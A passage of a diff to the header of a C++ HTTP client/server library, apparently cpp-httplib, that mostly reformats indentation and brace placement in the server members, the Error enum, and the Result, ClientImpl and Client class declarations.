create_server_socket(const std::string &host, int port, + int socket_flags, + SocketOptions socket_options) const; + int bind_internal(const std::string &host, int port, int socket_flags); + bool listen_internal(); - bool routing(Request &req, Response &res, Stream &strm); - bool handle_file_request(const Request &req, Response &res, - bool head = false); - bool dispatch_request(Request &req, Response &res, - const Handlers &handlers) const; - bool dispatch_request_for_content_reader( - Request &req, Response &res, ContentReader content_reader, - const HandlersForContentReader &handlers) const; + bool routing(Request &req, Response &res, Stream &strm); + bool handle_file_request(const Request &req, Response &res, + bool head = false); + bool dispatch_request(Request &req, Response &res, + const Handlers &handlers) const; + bool dispatch_request_for_content_reader( + Request &req, Response &res, ContentReader content_reader, + const HandlersForContentReader &handlers) const; - bool parse_request_line(const char *s, Request &req) const; - void apply_ranges(const Request &req, Response &res, - std::string &content_type, std::string &boundary) const; - bool write_response(Stream &strm, bool close_connection, const Request &req, - Response &res); - bool write_response_with_content(Stream &strm, bool close_connection, - const Request &req, Response &res); - bool write_response_core(Stream &strm, bool close_connection, - const Request &req, Response &res, - bool need_apply_ranges); - bool write_content_with_provider(Stream &strm, const Request &req, - Response &res, const std::string &boundary, - const std::string &content_type); - bool read_content(Stream &strm, Request &req, Response &res); - bool - read_content_with_content_receiver(Stream &strm, Request &req, Response &res, - ContentReceiver receiver, - MultipartContentHeader multipart_header, - ContentReceiver multipart_receiver); - bool read_content_core(Stream &strm, Request &req, Response &res, - ContentReceiver receiver, - MultipartContentHeader multipart_header, - ContentReceiver multipart_receiver) const; + bool parse_request_line(const char *s, Request &req) const; + void apply_ranges(const Request &req, Response &res, + std::string &content_type, std::string &boundary) const; + bool write_response(Stream &strm, bool close_connection, const Request &req, + Response &res); + bool write_response_with_content(Stream &strm, bool close_connection, + const Request &req, Response &res); + bool write_response_core(Stream &strm, bool close_connection, + const Request &req, Response &res, + bool need_apply_ranges); + bool write_content_with_provider(Stream &strm, const Request &req, + Response &res, const std::string &boundary, + const std::string &content_type); + bool read_content(Stream &strm, Request &req, Response &res); + bool + read_content_with_content_receiver(Stream &strm, Request &req, Response &res, + ContentReceiver receiver, + MultipartContentHeader multipart_header, + ContentReceiver multipart_receiver); + bool read_content_core(Stream &strm, Request &req, Response &res, + ContentReceiver receiver, + MultipartContentHeader multipart_header, + ContentReceiver multipart_receiver) const; - virtual bool process_and_close_socket(socket_t sock); + virtual bool process_and_close_socket(socket_t sock); - std::atomic is_running_{false}; - std::atomic done_{false}; + std::atomic is_running_{false}; + std::atomic done_{false}; - struct MountPointEntry { - std::string mount_point; - std::string base_dir; - Headers headers; - }; - std::vector base_dirs_; - std::map file_extension_and_mimetype_map_; - std::string default_file_mimetype_ = "application/octet-stream"; - Handler file_request_handler_; + struct MountPointEntry { + std::string mount_point; + std::string base_dir; + Headers headers; + }; + std::vector base_dirs_; + std::map file_extension_and_mimetype_map_; + std::string default_file_mimetype_ = "application/octet-stream"; + Handler file_request_handler_; - Handlers get_handlers_; - Handlers post_handlers_; - HandlersForContentReader post_handlers_for_content_reader_; - Handlers put_handlers_; - HandlersForContentReader put_handlers_for_content_reader_; - Handlers patch_handlers_; - HandlersForContentReader patch_handlers_for_content_reader_; - Handlers delete_handlers_; - HandlersForContentReader delete_handlers_for_content_reader_; - Handlers options_handlers_; + Handlers get_handlers_; + Handlers post_handlers_; + HandlersForContentReader post_handlers_for_content_reader_; + Handlers put_handlers_; + HandlersForContentReader put_handlers_for_content_reader_; + Handlers patch_handlers_; + HandlersForContentReader patch_handlers_for_content_reader_; + Handlers delete_handlers_; + HandlersForContentReader delete_handlers_for_content_reader_; + Handlers options_handlers_; - HandlerWithResponse error_handler_; - ExceptionHandler exception_handler_; - HandlerWithResponse pre_routing_handler_; - Handler post_routing_handler_; - Expect100ContinueHandler expect_100_continue_handler_; + HandlerWithResponse error_handler_; + ExceptionHandler exception_handler_; + HandlerWithResponse pre_routing_handler_; + Handler post_routing_handler_; + Expect100ContinueHandler expect_100_continue_handler_; - Logger logger_; + Logger logger_; - int address_family_ = AF_UNSPEC; - bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY; - SocketOptions socket_options_ = default_socket_options; + int address_family_ = AF_UNSPEC; + bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY; + SocketOptions socket_options_ = default_socket_options; - Headers default_headers_; - std::function header_writer_ = - detail::write_headers; + Headers default_headers_; + std::function header_writer_ = + detail::write_headers; }; enum class Error { - Success = 0, - Unknown, - Connection, - BindIPAddress, - Read, - Write, - ExceedRedirectCount, - Canceled, - SSLConnection, - SSLLoadingCerts, - SSLServerVerification, - UnsupportedMultipartBoundaryChars, - Compression, - ConnectionTimeout, - ProxyConnection, + Success = 0, + Unknown, + Connection, + BindIPAddress, + Read, + Write, + ExceedRedirectCount, + Canceled, + SSLConnection, + SSLLoadingCerts, + SSLServerVerification, + UnsupportedMultipartBoundaryChars, + Compression, + ConnectionTimeout, + ProxyConnection, - // For internal use only - SSLPeerCouldBeClosed_, + // For internal use only + SSLPeerCouldBeClosed_, }; std::string to_string(Error error); std::ostream &operator<<(std::ostream &os, const Error &obj); -class Result { +class Result +{ public: - Result() = default; - Result(std::unique_ptr &&res, Error err, - Headers &&request_headers = Headers{}) - : res_(std::move(res)), err_(err), - request_headers_(std::move(request_headers)) {} - // Response - operator bool() const { return res_ != nullptr; } - bool operator==(std::nullptr_t) const { return res_ == nullptr; } - bool operator!=(std::nullptr_t) const { return res_ != nullptr; } - const Response &value() const { return *res_; } - Response &value() { return *res_; } - const Response &operator*() const { return *res_; } - Response &operator*() { return *res_; } - const Response *operator->() const { return res_.get(); } - Response *operator->() { return res_.get(); } + Result() = default; + Result(std::unique_ptr &&res, Error err, + Headers &&request_headers = Headers{}) + : res_(std::move(res)), err_(err), + request_headers_(std::move(request_headers)) {} + // Response + operator bool() const + { + return res_ != nullptr; + } + bool operator==(std::nullptr_t) const + { + return res_ == nullptr; + } + bool operator!=(std::nullptr_t) const + { + return res_ != nullptr; + } + const Response &value() const + { + return *res_; + } + Response &value() + { + return *res_; + } + const Response &operator*() const + { + return *res_; + } + Response &operator*() + { + return *res_; + } + const Response *operator->() const + { + return res_.get(); + } + Response *operator->() + { + return res_.get(); + } - // Error - Error error() const { return err_; } + // Error + Error error() const + { + return err_; + } - // Request Headers - bool has_request_header(const std::string &key) const; - std::string get_request_header_value(const std::string &key, - size_t id = 0) const; - uint64_t get_request_header_value_u64(const std::string &key, - size_t id = 0) const; - size_t get_request_header_value_count(const std::string &key) const; + // Request Headers + bool has_request_header(const std::string &key) const; + std::string get_request_header_value(const std::string &key, + size_t id = 0) const; + uint64_t get_request_header_value_u64(const std::string &key, + size_t id = 0) const; + size_t get_request_header_value_count(const std::string &key) const; private: - std::unique_ptr res_; - Error err_ = Error::Unknown; - Headers request_headers_; + std::unique_ptr res_; + Error err_ = Error::Unknown; + Headers request_headers_; }; -class ClientImpl { +class ClientImpl +{ public: - explicit ClientImpl(const std::string &host); + explicit ClientImpl(const std::string &host); - explicit ClientImpl(const std::string &host, int port); + explicit ClientImpl(const std::string &host, int port); - explicit ClientImpl(const std::string &host, int port, - const std::string &client_cert_path, - const std::string &client_key_path); + explicit ClientImpl(const std::string &host, int port, + const std::string &client_cert_path, + const std::string &client_key_path); - virtual ~ClientImpl(); + virtual ~ClientImpl(); - virtual bool is_valid() const; + virtual bool is_valid() const; - Result Get(const std::string &path); - Result Get(const std::string &path, const Headers &headers); - Result Get(const std::string &path, Progress progress); - Result Get(const std::string &path, const Headers &headers, - Progress progress); - Result Get(const std::string &path, ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver); - Result Get(const std::string &path, ContentReceiver content_receiver, - Progress progress); - Result Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver, Progress progress); - Result Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ResponseHandler response_handler, - ContentReceiver content_receiver); - Result Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress); - Result Get(const std::string &path, const Headers &headers, - ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress); + Result Get(const std::string &path); + Result Get(const std::string &path, const Headers &headers); + Result Get(const std::string &path, Progress progress); + Result Get(const std::string &path, const Headers &headers, + Progress progress); + Result Get(const std::string &path, ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ContentReceiver content_receiver); + Result Get(const std::string &path, ContentReceiver content_receiver, + Progress progress); + Result Get(const std::string &path, const Headers &headers, + ContentReceiver content_receiver, Progress progress); + Result Get(const std::string &path, ResponseHandler response_handler, + ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ResponseHandler response_handler, + ContentReceiver content_receiver); + Result Get(const std::string &path, ResponseHandler response_handler, + ContentReceiver content_receiver, Progress progress); + Result Get(const std::string &path, const Headers &headers, + ResponseHandler response_handler, ContentReceiver content_receiver, + Progress progress); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, Progress progress = nullptr); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, ContentReceiver content_receiver, - Progress progress = nullptr); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, ContentReceiver content_receiver, + Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, ResponseHandler response_handler, + ContentReceiver content_receiver, Progress progress = nullptr); - Result Head(const std::string &path); - Result Head(const std::string &path, const Headers &headers); + Result Head(const std::string &path); + Result Head(const std::string &path, const Headers &headers); - Result Post(const std::string &path); - Result Post(const std::string &path, const Headers &headers); - Result Post(const std::string &path, const char *body, size_t content_length, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, const char *body, - size_t content_length, const std::string &content_type); - Result Post(const std::string &path, const std::string &body, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); - Result Post(const std::string &path, size_t content_length, - ContentProvider content_provider, - const std::string &content_type); - Result Post(const std::string &path, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - size_t content_length, ContentProvider content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Params ¶ms); - Result Post(const std::string &path, const Headers &headers, - const Params ¶ms); - Result Post(const std::string &path, const MultipartFormDataItems &items); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, const std::string &boundary); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items); + Result Post(const std::string &path); + Result Post(const std::string &path, const Headers &headers); + Result Post(const std::string &path, const char *body, size_t content_length, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, const char *body, + size_t content_length, const std::string &content_type); + Result Post(const std::string &path, const std::string &body, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); + Result Post(const std::string &path, size_t content_length, + ContentProvider content_provider, + const std::string &content_type); + Result Post(const std::string &path, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + size_t content_length, ContentProvider content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Params ¶ms); + Result Post(const std::string &path, const Headers &headers, + const Params ¶ms); + Result Post(const std::string &path, const MultipartFormDataItems &items); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, const std::string &boundary); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items); - Result Put(const std::string &path); - Result Put(const std::string &path, const char *body, size_t content_length, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, const char *body, - size_t content_length, const std::string &content_type); - Result Put(const std::string &path, const std::string &body, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); - Result Put(const std::string &path, size_t content_length, - ContentProvider content_provider, const std::string &content_type); - Result Put(const std::string &path, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - size_t content_length, ContentProvider content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Params ¶ms); - Result Put(const std::string &path, const Headers &headers, - const Params ¶ms); - Result Put(const std::string &path, const MultipartFormDataItems &items); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, const std::string &boundary); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items); - - Result Patch(const std::string &path); - Result Patch(const std::string &path, const char *body, size_t content_length, + Result Put(const std::string &path); + Result Put(const std::string &path, const char *body, size_t content_length, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, - const char *body, size_t content_length, + Result Put(const std::string &path, const Headers &headers, const char *body, + size_t content_length, const std::string &content_type); + Result Put(const std::string &path, const std::string &body, const std::string &content_type); - Result Patch(const std::string &path, const std::string &body, - const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, const std::string &body, const std::string &content_type); - Result Patch(const std::string &path, size_t content_length, - ContentProvider content_provider, - const std::string &content_type); - Result Patch(const std::string &path, + Result Put(const std::string &path, size_t content_length, + ContentProvider content_provider, const std::string &content_type); + Result Put(const std::string &path, ContentProviderWithoutLength content_provider, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, const std::string &content_type); + Result Put(const std::string &path, const Params ¶ms); + Result Put(const std::string &path, const Headers &headers, + const Params ¶ms); + Result Put(const std::string &path, const MultipartFormDataItems &items); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, const std::string &boundary); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items); - Result Delete(const std::string &path); - Result Delete(const std::string &path, const Headers &headers); - Result Delete(const std::string &path, const char *body, - size_t content_length, const std::string &content_type); - Result Delete(const std::string &path, const Headers &headers, - const char *body, size_t content_length, - const std::string &content_type); - Result Delete(const std::string &path, const std::string &body, - const std::string &content_type); - Result Delete(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); + Result Patch(const std::string &path); + Result Patch(const std::string &path, const char *body, size_t content_length, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + const char *body, size_t content_length, + const std::string &content_type); + Result Patch(const std::string &path, const std::string &body, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); + Result Patch(const std::string &path, size_t content_length, + ContentProvider content_provider, + const std::string &content_type); + Result Patch(const std::string &path, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + size_t content_length, ContentProvider content_provider, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + ContentProviderWithoutLength content_provider, + const std::string &content_type); - Result Options(const std::string &path); - Result Options(const std::string &path, const Headers &headers); + Result Delete(const std::string &path); + Result Delete(const std::string &path, const Headers &headers); + Result Delete(const std::string &path, const char *body, + size_t content_length, const std::string &content_type); + Result Delete(const std::string &path, const Headers &headers, + const char *body, size_t content_length, + const std::string &content_type); + Result Delete(const std::string &path, const std::string &body, + const std::string &content_type); + Result Delete(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); - bool send(Request &req, Response &res, Error &error); - Result send(const Request &req); + Result Options(const std::string &path); + Result Options(const std::string &path, const Headers &headers); - void stop(); + bool send(Request &req, Response &res, Error &error); + Result send(const Request &req); - std::string host() const; - int port() const; + void stop(); - size_t is_socket_open() const; - socket_t socket() const; + std::string host() const; + int port() const; - void set_hostname_addr_map(std::map addr_map); + size_t is_socket_open() const; + socket_t socket() const; - void set_default_headers(Headers headers); + void set_hostname_addr_map(std::map addr_map); - void - set_header_writer(std::function const &writer); + void set_default_headers(Headers headers); - void set_address_family(int family); - void set_tcp_nodelay(bool on); - void set_socket_options(SocketOptions socket_options); + void + set_header_writer(std::function const &writer); - void set_connection_timeout(time_t sec, time_t usec = 0); - template - void - set_connection_timeout(const std::chrono::duration &duration); + void set_address_family(int family); + void set_tcp_nodelay(bool on); + void set_socket_options(SocketOptions socket_options); - void set_read_timeout(time_t sec, time_t usec = 0); - template - void set_read_timeout(const std::chrono::duration &duration); + void set_connection_timeout(time_t sec, time_t usec = 0); + template + void + set_connection_timeout(const std::chrono::duration &duration); - void set_write_timeout(time_t sec, time_t usec = 0); - template - void set_write_timeout(const std::chrono::duration &duration); + void set_read_timeout(time_t sec, time_t usec = 0); + template + void set_read_timeout(const std::chrono::duration &duration); - void set_basic_auth(const std::string &username, const std::string &password); - void set_bearer_token_auth(const std::string &token); + void set_write_timeout(time_t sec, time_t usec = 0); + template + void set_write_timeout(const std::chrono::duration &duration); + + void set_basic_auth(const std::string &username, const std::string &password); + void set_bearer_token_auth(const std::string &token); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_digest_auth(const std::string &username, - const std::string &password); + void set_digest_auth(const std::string &username, + const std::string &password); #endif - void set_keep_alive(bool on); - void set_follow_location(bool on); + void set_keep_alive(bool on); + void set_follow_location(bool on); - void set_url_encode(bool on); + void set_url_encode(bool on); - void set_compress(bool on); + void set_compress(bool on); - void set_decompress(bool on); + void set_decompress(bool on); - void set_interface(const std::string &intf); + void set_interface(const std::string &intf); - void set_proxy(const std::string &host, int port); - void set_proxy_basic_auth(const std::string &username, - const std::string &password); - void set_proxy_bearer_token_auth(const std::string &token); + void set_proxy(const std::string &host, int port); + void set_proxy_basic_auth(const std::string &username, + const std::string &password); + void set_proxy_bearer_token_auth(const std::string &token); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_proxy_digest_auth(const std::string &username, - const std::string &password); + void set_proxy_digest_auth(const std::string &username, + const std::string &password); #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_ca_cert_path(const std::string &ca_cert_file_path, - const std::string &ca_cert_dir_path = std::string()); - void set_ca_cert_store(X509_STORE *ca_cert_store); - X509_STORE *create_ca_cert_store(const char *ca_cert, std::size_t size) const; + void set_ca_cert_path(const std::string &ca_cert_file_path, + const std::string &ca_cert_dir_path = std::string()); + void set_ca_cert_store(X509_STORE *ca_cert_store); + X509_STORE *create_ca_cert_store(const char *ca_cert, std::size_t size) const; #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void enable_server_certificate_verification(bool enabled); + void enable_server_certificate_verification(bool enabled); #endif - void set_logger(Logger logger); + void set_logger(Logger logger); protected: - struct Socket { - socket_t sock = INVALID_SOCKET; + struct Socket { + socket_t sock = INVALID_SOCKET; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - SSL *ssl = nullptr; + SSL *ssl = nullptr; #endif - bool is_open() const { return sock != INVALID_SOCKET; } - }; + bool is_open() const + { + return sock != INVALID_SOCKET; + } + }; - virtual bool create_and_connect_socket(Socket &socket, Error &error); + virtual bool create_and_connect_socket(Socket &socket, Error &error); - // All of: - // shutdown_ssl - // shutdown_socket - // close_socket - // should ONLY be called when socket_mutex_ is locked. - // Also, shutdown_ssl and close_socket should also NOT be called concurrently - // with a DIFFERENT thread sending requests using that socket. - virtual void shutdown_ssl(Socket &socket, bool shutdown_gracefully); - void shutdown_socket(Socket &socket) const; - void close_socket(Socket &socket); + // All of: + // shutdown_ssl + // shutdown_socket + // close_socket + // should ONLY be called when socket_mutex_ is locked. + // Also, shutdown_ssl and close_socket should also NOT be called concurrently + // with a DIFFERENT thread sending requests using that socket. + virtual void shutdown_ssl(Socket &socket, bool shutdown_gracefully); + void shutdown_socket(Socket &socket) const; + void close_socket(Socket &socket); - bool process_request(Stream &strm, Request &req, Response &res, - bool close_connection, Error &error); + bool process_request(Stream &strm, Request &req, Response &res, + bool close_connection, Error &error); - bool write_content_with_provider(Stream &strm, const Request &req, - Error &error) const; + bool write_content_with_provider(Stream &strm, const Request &req, + Error &error) const; - void copy_settings(const ClientImpl &rhs); + void copy_settings(const ClientImpl &rhs); - // Socket endpoint information - const std::string host_; - const int port_; - const std::string host_and_port_; + // Socket endpoint information + const std::string host_; + const int port_; + const std::string host_and_port_; - // Current open socket - Socket socket_; - mutable std::mutex socket_mutex_; - std::recursive_mutex request_mutex_; + // Current open socket + Socket socket_; + mutable std::mutex socket_mutex_; + std::recursive_mutex request_mutex_; - // These are all protected under socket_mutex - size_t socket_requests_in_flight_ = 0; - std::thread::id socket_requests_are_from_thread_ = std::thread::id(); - bool socket_should_be_closed_when_request_is_done_ = false; + // These are all protected under socket_mutex + size_t socket_requests_in_flight_ = 0; + std::thread::id socket_requests_are_from_thread_ = std::thread::id(); + bool socket_should_be_closed_when_request_is_done_ = false; - // Hostname-IP map - std::map addr_map_; + // Hostname-IP map + std::map addr_map_; - // Default headers - Headers default_headers_; + // Default headers + Headers default_headers_; - // Header writer - std::function header_writer_ = - detail::write_headers; + // Header writer + std::function header_writer_ = + detail::write_headers; - // Settings - std::string client_cert_path_; - std::string client_key_path_; + // Settings + std::string client_cert_path_; + std::string client_key_path_; - time_t connection_timeout_sec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_SECOND; - time_t connection_timeout_usec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_USECOND; - time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND; - time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND; - time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND; - time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND; + time_t connection_timeout_sec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_SECOND; + time_t connection_timeout_usec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_USECOND; + time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND; + time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND; + time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND; + time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND; - std::string basic_auth_username_; - std::string basic_auth_password_; - std::string bearer_token_auth_token_; + std::string basic_auth_username_; + std::string basic_auth_password_; + std::string bearer_token_auth_token_; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - std::string digest_auth_username_; - std::string digest_auth_password_; + std::string digest_auth_username_; + std::string digest_auth_password_; #endif - bool keep_alive_ = false; - bool follow_location_ = false; + bool keep_alive_ = false; + bool follow_location_ = false; - bool url_encode_ = true; + bool url_encode_ = true; - int address_family_ = AF_UNSPEC; - bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY; - SocketOptions socket_options_ = nullptr; + int address_family_ = AF_UNSPEC; + bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY; + SocketOptions socket_options_ = nullptr; - bool compress_ = false; - bool decompress_ = true; + bool compress_ = false; + bool decompress_ = true; - std::string interface_; + std::string interface_; - std::string proxy_host_; - int proxy_port_ = -1; + std::string proxy_host_; + int proxy_port_ = -1; - std::string proxy_basic_auth_username_; - std::string proxy_basic_auth_password_; - std::string proxy_bearer_token_auth_token_; + std::string proxy_basic_auth_username_; + std::string proxy_basic_auth_password_; + std::string proxy_bearer_token_auth_token_; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - std::string proxy_digest_auth_username_; - std::string proxy_digest_auth_password_; + std::string proxy_digest_auth_username_; + std::string proxy_digest_auth_password_; #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - std::string ca_cert_file_path_; - std::string ca_cert_dir_path_; + std::string ca_cert_file_path_; + std::string ca_cert_dir_path_; - X509_STORE *ca_cert_store_ = nullptr; + X509_STORE *ca_cert_store_ = nullptr; #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - bool server_certificate_verification_ = true; + bool server_certificate_verification_ = true; #endif - Logger logger_; + Logger logger_; private: - bool send_(Request &req, Response &res, Error &error); - Result send_(Request &&req); + bool send_(Request &req, Response &res, Error &error); + Result send_(Request &&req); - socket_t create_client_socket(Error &error) const; - bool read_response_line(Stream &strm, const Request &req, - Response &res) const; - bool write_request(Stream &strm, Request &req, bool close_connection, - Error &error); - bool redirect(Request &req, Response &res, Error &error); - bool handle_request(Stream &strm, Request &req, Response &res, - bool close_connection, Error &error); - std::unique_ptr send_with_content_provider( - Request &req, const char *body, size_t content_length, - ContentProvider content_provider, - ContentProviderWithoutLength content_provider_without_length, - const std::string &content_type, Error &error); - Result send_with_content_provider( - const std::string &method, const std::string &path, - const Headers &headers, const char *body, size_t content_length, - ContentProvider content_provider, - ContentProviderWithoutLength content_provider_without_length, - const std::string &content_type); - ContentProviderWithoutLength get_multipart_content_provider( - const std::string &boundary, const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items) const; + socket_t create_client_socket(Error &error) const; + bool read_response_line(Stream &strm, const Request &req, + Response &res) const; + bool write_request(Stream &strm, Request &req, bool close_connection, + Error &error); + bool redirect(Request &req, Response &res, Error &error); + bool handle_request(Stream &strm, Request &req, Response &res, + bool close_connection, Error &error); + std::unique_ptr send_with_content_provider( + Request &req, const char *body, size_t content_length, + ContentProvider content_provider, + ContentProviderWithoutLength content_provider_without_length, + const std::string &content_type, Error &error); + Result send_with_content_provider( + const std::string &method, const std::string &path, + const Headers &headers, const char *body, size_t content_length, + ContentProvider content_provider, + ContentProviderWithoutLength content_provider_without_length, + const std::string &content_type); + ContentProviderWithoutLength get_multipart_content_provider( + const std::string &boundary, const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items) const; - std::string adjust_host_string(const std::string &host) const; + std::string adjust_host_string(const std::string &host) const; - virtual bool process_socket(const Socket &socket, - std::function callback); - virtual bool is_ssl() const; + virtual bool process_socket(const Socket &socket, + std::function callback); + virtual bool is_ssl() const; }; -class Client { +class Client +{ public: - // Universal interface - explicit Client(const std::string &scheme_host_port); + // Universal interface + explicit Client(const std::string &scheme_host_port); - explicit Client(const std::string &scheme_host_port, - const std::string &client_cert_path, - const std::string &client_key_path); + explicit Client(const std::string &scheme_host_port, + const std::string &client_cert_path, + const std::string &client_key_path); - // HTTP only interface - explicit Client(const std::string &host, int port); + // HTTP only interface + explicit Client(const std::string &host, int port); - explicit Client(const std::string &host, int port, - const std::string &client_cert_path, - const std::string &client_key_path); + explicit Client(const std::string &host, int port, + const std::string &client_cert_path, + const std::string &client_key_path); - Client(Client &&) = default; + Client(Client &&) = default; - ~Client(); + ~Client(); - bool is_valid() const; + bool is_valid() const; - Result Get(const std::string &path); - Result Get(const std::string &path, const Headers &headers); - Result Get(const std::string &path, Progress progress); - Result Get(const std::string &path, const Headers &headers, - Progress progress); - Result Get(const std::string &path, ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver); - Result Get(const std::string &path, ContentReceiver content_receiver, - Progress progress); - Result Get(const std::string &path, const Headers &headers, - ContentReceiver content_receiver, Progress progress); - Result Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ResponseHandler response_handler, - ContentReceiver content_receiver); - Result Get(const std::string &path, const Headers &headers, - ResponseHandler response_handler, ContentReceiver content_receiver, - Progress progress); - Result Get(const std::string &path, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress); + Result Get(const std::string &path); + Result Get(const std::string &path, const Headers &headers); + Result Get(const std::string &path, Progress progress); + Result Get(const std::string &path, const Headers &headers, + Progress progress); + Result Get(const std::string &path, ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ContentReceiver content_receiver); + Result Get(const std::string &path, ContentReceiver content_receiver, + Progress progress); + Result Get(const std::string &path, const Headers &headers, + ContentReceiver content_receiver, Progress progress); + Result Get(const std::string &path, ResponseHandler response_handler, + ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ResponseHandler response_handler, + ContentReceiver content_receiver); + Result Get(const std::string &path, const Headers &headers, + ResponseHandler response_handler, ContentReceiver content_receiver, + Progress progress); + Result Get(const std::string &path, ResponseHandler response_handler, + ContentReceiver content_receiver, Progress progress); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, Progress progress = nullptr); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, ContentReceiver content_receiver, - Progress progress = nullptr); - Result Get(const std::string &path, const Params ¶ms, - const Headers &headers, ResponseHandler response_handler, - ContentReceiver content_receiver, Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, ContentReceiver content_receiver, + Progress progress = nullptr); + Result Get(const std::string &path, const Params ¶ms, + const Headers &headers, ResponseHandler response_handler, + ContentReceiver content_receiver, Progress progress = nullptr); - Result Head(const std::string &path); - Result Head(const std::string &path, const Headers &headers); + Result Head(const std::string 